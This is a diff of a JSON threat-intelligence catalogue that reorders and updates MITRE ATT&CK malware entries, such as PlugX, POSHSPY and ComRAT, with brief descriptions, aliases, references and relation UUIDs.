"estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Downdelph" - }, - { - "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.[[Citation: Cylance Shell Crew Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0142", - "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" - ], - "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86" - }, - "related": [ - { - "dest-uuid": "9991ace8-1a62-498c-a9ef-19d474deb505", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "StreamEx" - }, - { - "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0078", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b" - }, - "value": "Psylo" - }, - { - "description": "HDoor is malware that has been customized and used by the Naikon group.[[Citation: Baumgartner Naikon 2015]]\n\nAliases: HDoor, Custom HDoor", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0061", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "synonyms": [ - "HDoor", - "Custom HDoor" - ], - "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b" - }, - "value": "HDoor" - }, - { - "description": "is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX[[Citation: XAgentOSX]][[Citation: Sofacy Komplex Trojan]].", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0162", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "uuid": "75c79f95-4c84-4650-9158-510f0ce4831d" - }, - "related": [ - { - "dest-uuid": "f108215f-3487-489d-be8b-80e346d32518", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "d26b5518-8d7f-41a6-b539-231e4962853e", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "43cd8a09-9c80-48c8-9568-1992433af60a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Komplex" - }, - { - "description": "TinyZBot is a bot written in C# that was developed by Cleaver.[[Citation: Cylance Cleaver]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0004", - "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" - ], - "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9" - }, - "related": [ - { - "dest-uuid": "e2cc27a2-4146-4f08-8e80-114a99204cea", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "TinyZBot" - }, - { - "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.[[Citation: FireEye APT30]]\n\nAliases: BACKSPACE, Lecna", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0031", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "synonyms": [ - "BACKSPACE", - "Lecna" - ], - "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d" - }, - "related": [ - { - "dest-uuid": "cd6c5f27-cf7e-4529-ae9c-ab5b85102bde", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "BACKSPACE" - }, - { - "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010.[[Citation: F-Secure The Dukes]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0048", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164" - }, - "value": "PinchDuke" - }, - { - "description": "CloudDuke is malware that was used by APT29 in 2015.[[Citation: F-Secure The Dukes]][[Citation: Securelist Minidionis July 2015]]\n\nAliases: CloudDuke, MiniDionis, CloudLook", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0054", - "https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "CloudDuke", - "MiniDionis", - "CloudLook" - ], - "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df" - }, - "value": "CloudDuke" - }, - { - "description": "WinMM is a full-featured, simple backdoor used by Naikon.[[Citation: Baumgartner Naikon 2015]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0059", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "uuid": "22addc7b-b39f-483d-979a-1b35147da5de" - }, - "related": [ - { - "dest-uuid": "6a100902-7204-4f20-b838-545ed86d4428", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "WinMM" - }, - { - "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0079", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4" - }, - "value": "MobileOrder" - }, - { - "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon.[[Citation: Baumgartner Naikon 2015]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0060", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481" - }, - "related": [ - { - "dest-uuid": "2ae57534-6aac-4025-8d93-888dab112b45", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Sys10" - }, - { - "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.[[Citation: Symantec W32.Duqu]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0038", - "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf" - ], - "uuid": "68dca94f-c11d-421e-9287-7c501108e18c" - }, - "related": [ - { - "dest-uuid": "809b54c3-dd6a-4ec9-8c3a-a27b9baa6732", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Duqu" - }, - { - "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0076", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "uuid": "bb3c1098-d654-4620-bf40-694386d28921" - }, - "value": "FakeM" - }, - { - "description": "WINDSHIELD is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0155", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "uuid": "a89ed72c-202d-486b-9349-6ffc0a61e30a" - }, - "related": [ - { - "dest-uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "WINDSHIELD" - }, - { - "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0028", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a" - }, - "value": "SHIPSHAPE" + "value": "Trojan.Mebromi" }, { "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.[[Citation: FireEye admin@338 March 2014]][[Citation: Palo Alto T9000 Feb 2016]]", @@ -710,6 +308,57 @@ ], "value": "BS2005" }, + { + "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon.[[Citation: Baumgartner Naikon 2015]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0060", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481" + }, + "related": [ + { + "dest-uuid": "2ae57534-6aac-4025-8d93-888dab112b45", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Sys10" + }, + { + "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups.[[Citation: FireEye Hacking Team]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0032", + "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html" + ], + "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24" + }, + "related": [ + { + "dest-uuid": "1b1ae63f-bcee-4aba-8994-6c60cee5e16f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "gh0st" + }, + { + "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.[[Citation: Cisco H1N1 Part 1]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0132", + "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" + ], + "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd" + }, + "value": "H1N1" + }, { "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server.[[Citation: Mandiant APT1 Appendix]]", "meta": { @@ -731,236 +380,567 @@ "value": "WEBC2" }, { - "description": "PlugX is a remote access tool (RAT) that uses modular plugins.[[Citation: Lastline PlugX Analysis]] It has been used by multiple threat groups.[[Citation: FireEye Clandestine Fox Part 2]][[Citation: New DragonOK]][[Citation: Dell TG-3390]]\n\nAliases: PlugX, Sogu, Kaba", + "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.[[Citation: FireEye APT30]]\n\nAliases: BACKSPACE, Lecna", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0013", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", - "http://labs.lastline.com/an-analysis-of-plugx", - "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + "https://attack.mitre.org/wiki/Software/S0031", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" ], "synonyms": [ - "PlugX", - "Sogu", - "Kaba" + "BACKSPACE", + "Lecna" ], - "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd" + "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d" }, "related": [ { - "dest-uuid": "663f8ef9-4c50-499a-b765-f377d23c1070", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f4b159ea-97e5-483b-854b-c48a78d562aa", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "036bd099-fe80-46c2-9c4c-e5c6df8dcdee", + "dest-uuid": "cd6c5f27-cf7e-4529-ae9c-ab5b85102bde", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "PlugX" + "value": "BACKSPACE" }, { - "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.[[Citation: FireEye POSHSPY April 2017]]", + "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.[[Citation: FireEye FIN7 April 2017]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0150", - "https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html" + "https://attack.mitre.org/wiki/Software/S0151", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" ], - "uuid": "6e45f758-7bd9-44b8-a21c-7309614ae176" + "uuid": "71ac10de-1103-40a7-b65b-f97dab9769bf" }, "related": [ { - "dest-uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808", + "dest-uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "4df1b257-c242-46b0-b120-591430066b6f", + "dest-uuid": "2815a353-cd56-4ed0-8581-812b94f7a326", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "POSHSPY" + "value": "HALFBAKED" }, { - "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011.[[Citation: Cylance Dust Storm]]", + "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.[[Citation: Mandiant APT1]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0083", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + "https://attack.mitre.org/wiki/Software/S0025", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" ], - "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039" + "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283" }, "related": [ { - "dest-uuid": "d1597713-fe7a-45bd-8b59-1a13c7e097d8", + "dest-uuid": "e2c18713-0a95-4092-a0e9-76358512daad", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Misdat" + "value": "CALENDAR" }, { - "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations.[[Citation: TrendMicro Taidoor]]", + "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.[[Citation: FireEye admin@338]]\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0011", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" - ], - "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517" - }, - "related": [ - { - "dest-uuid": "cda7d605-23d0-4f93-a585-1276f094c04a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Taidoor" - }, - { - "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.[[Citation: Palo Alto MoonWind March 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0149", - "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" - ], - "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1" - }, - "related": [ - { - "dest-uuid": "f266754c-d0aa-4918-95a3-73b28eaa66e3", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "76ec1827-68a1-488f-9899-2b788ea8db64", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "8465177f-16c8-47fc-a4c8-f4c0409fe460", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "MoonWind" - }, - { - "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims.[[Citation: Proofpoint Operation Transparent Tribe March 2016]]\n\nAliases: Crimson, MSIL/Crimson", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0115", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + "https://attack.mitre.org/wiki/Software/S0043", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" ], "synonyms": [ - "Crimson", - "MSIL/Crimson" + "BUBBLEWRAP", + "Backdoor.APT.FakeWinHTTPHelper" ], - "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2" + "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b" + }, + "value": "BUBBLEWRAP" + }, + { + "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.[[Citation: Palo Alto Networks BBSRAT]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0127", + "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + ], + "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80" }, "related": [ { - "dest-uuid": "8d8efbc6-d1b7-4ec8-bab3-591edba337d0", + "dest-uuid": "cad1d6db-3a6c-4d67-8f6e-627d8a168d6a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "BBSRAT" + }, + { + "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013.[[Citation: FireEye APT17]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0069", + "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" + ], + "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43" + }, + "value": "BLACKCOFFEE" + }, + { + "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.[[Citation: Forcepoint Monsoon]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0128", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "uuid": "e9595678-d269-469e-ae6b-75e49259de63" + }, + "value": "BADNEWS" + }, + { + "description": "OLDBAIT is a credential harvester used by APT28.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: OLDBAIT, Sasfis", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0138", + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + ], + "synonyms": [ + "OLDBAIT", + "Sasfis" + ], + "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be" + }, + "related": [ + { + "dest-uuid": "6d1e2736-d363-49aa-9054-9c9e4ac0c520", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "OLDBAIT" + }, + { + "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.[[Citation: MTrends 2016]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0114", + "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf" + ], + "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3" + }, + "value": "BOOTRASH" + }, + { + "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.[[Citation: FireEye admin@338]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0042", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b" + }, + "value": "LOWBALL" + }, + { + "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0035", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "uuid": "8b880b41-5139-4807-baa9-309690218719" + }, + "value": "SPACESHIP" + }, + { + "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.[[Citation: Symantec Waterbug]][[Citation: NorthSec 2015 GData Uroburos Tools]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0126", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf", + "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + ], + "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565" + }, + "related": [ + { + "dest-uuid": "9223bf17-7e32-4833-9574-9ffd8c929765", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "858edfb8-793a-430b-8acc-4310e7d2f0d3", + "dest-uuid": "d9cc15f7-0880-4ae4-8df4-87c58338d6b8", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "a61fc694-a88a-484d-a648-db35b49932fd", + "dest-uuid": "da079741-05e6-458c-b434-011263dc691c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Crimson" + "value": "ComRAT" }, { - "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.[[Citation: Palo Alto Rover]]", + "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.[[Citation: Kaspersky Sofacy]][[Citation: ESET Sednit Part 2]]\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0090", - "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + "https://attack.mitre.org/wiki/Software/S0045", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", + "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/" ], - "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38" + "synonyms": [ + "ADVSTORESHELL", + "NETUI", + "EVILTOSS", + "AZZY", + "Sedreco" + ], + "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73" }, "related": [ { - "dest-uuid": "53e94bc9-c8d2-4fb6-9c02-00841e454050", + "dest-uuid": "6374fc53-9a0d-41ba-b9cf-2a9765d69fbb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "21ab9e14-602a-4a76-a308-dbf5d6a91d75", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Rover" + "value": "ADVSTORESHELL" }, { - "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived.[[Citation: Cylance Dust Storm]]", + "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0086", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + "https://attack.mitre.org/wiki/Software/S0036", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" ], - "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31" + "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a" }, - "value": "ZLib" + "value": "FLASHFLOOD" }, { - "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.[[Citation: Volexity PowerDuke November 2016]]", + "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”[[Citation: FireEye APT30]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0139", - "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + "https://attack.mitre.org/wiki/Software/S0034", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" ], - "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a" + "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2" }, "related": [ { - "dest-uuid": "c79f5876-e3b9-417a-8eaf-8f1b01a0fecd", + "dest-uuid": "3bb8052e-8ed2-48e3-a2cf-7358bae8c6b5", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "PowerDuke" + "value": "NETEAGLE" + }, + { + "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.[[Citation: FireEye FIN7 March 2017]]\n\nAliases: TEXTMATE, DNSMessenger", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0146", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" + ], + "synonyms": [ + "TEXTMATE", + "DNSMessenger" + ], + "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47" + }, + "related": [ + { + "dest-uuid": "ee8ccb36-2596-43a3-a044-b8721dbeb2ab", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b376580e-aba1-4ac9-9c2d-2df429efecf6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "TEXTMATE" + }, + { + "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0028", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a" + }, + "value": "SHIPSHAPE" + }, + { + "description": "PHOREAL is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0158", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "uuid": "f9c6da03-8cb1-4383-9d52-a614c42082bf" + }, + "related": [ + { + "dest-uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "PHOREAL" + }, + { + "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.[[Citation: FireEye APT29]][[Citation: F-Secure The Dukes]]\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0037", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "synonyms": [ + "HAMMERTOSS", + "HammerDuke", + "NetDuke" + ], + "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4" + }, + "value": "HAMMERTOSS" + }, + { + "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.[[Citation: Aquino RARSTONE]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0055", + "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + ], + "uuid": "8c553311-0baa-4146-997a-f79acef3d831" + }, + "related": [ + { + "dest-uuid": "5d2dd6ad-6bb2-45d3-b295-e125d3399c8d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "RARSTONE" + }, + { + "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.[[Citation: Mandiant APT1]]\n\nAliases: GLOOXMAIL, Trojan.GTALK", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0026", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "GLOOXMAIL", + "Trojan.GTALK" + ], + "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2" + }, + "related": [ + { + "dest-uuid": "a379f09b-5cec-4bdb-9735-125cef2de073", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "GLOOXMAIL" + }, + { + "description": "AutoIt is a backdoor that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.[[Citation: Forcepoint Monsoon]]", + "meta": { + "refs": [ + 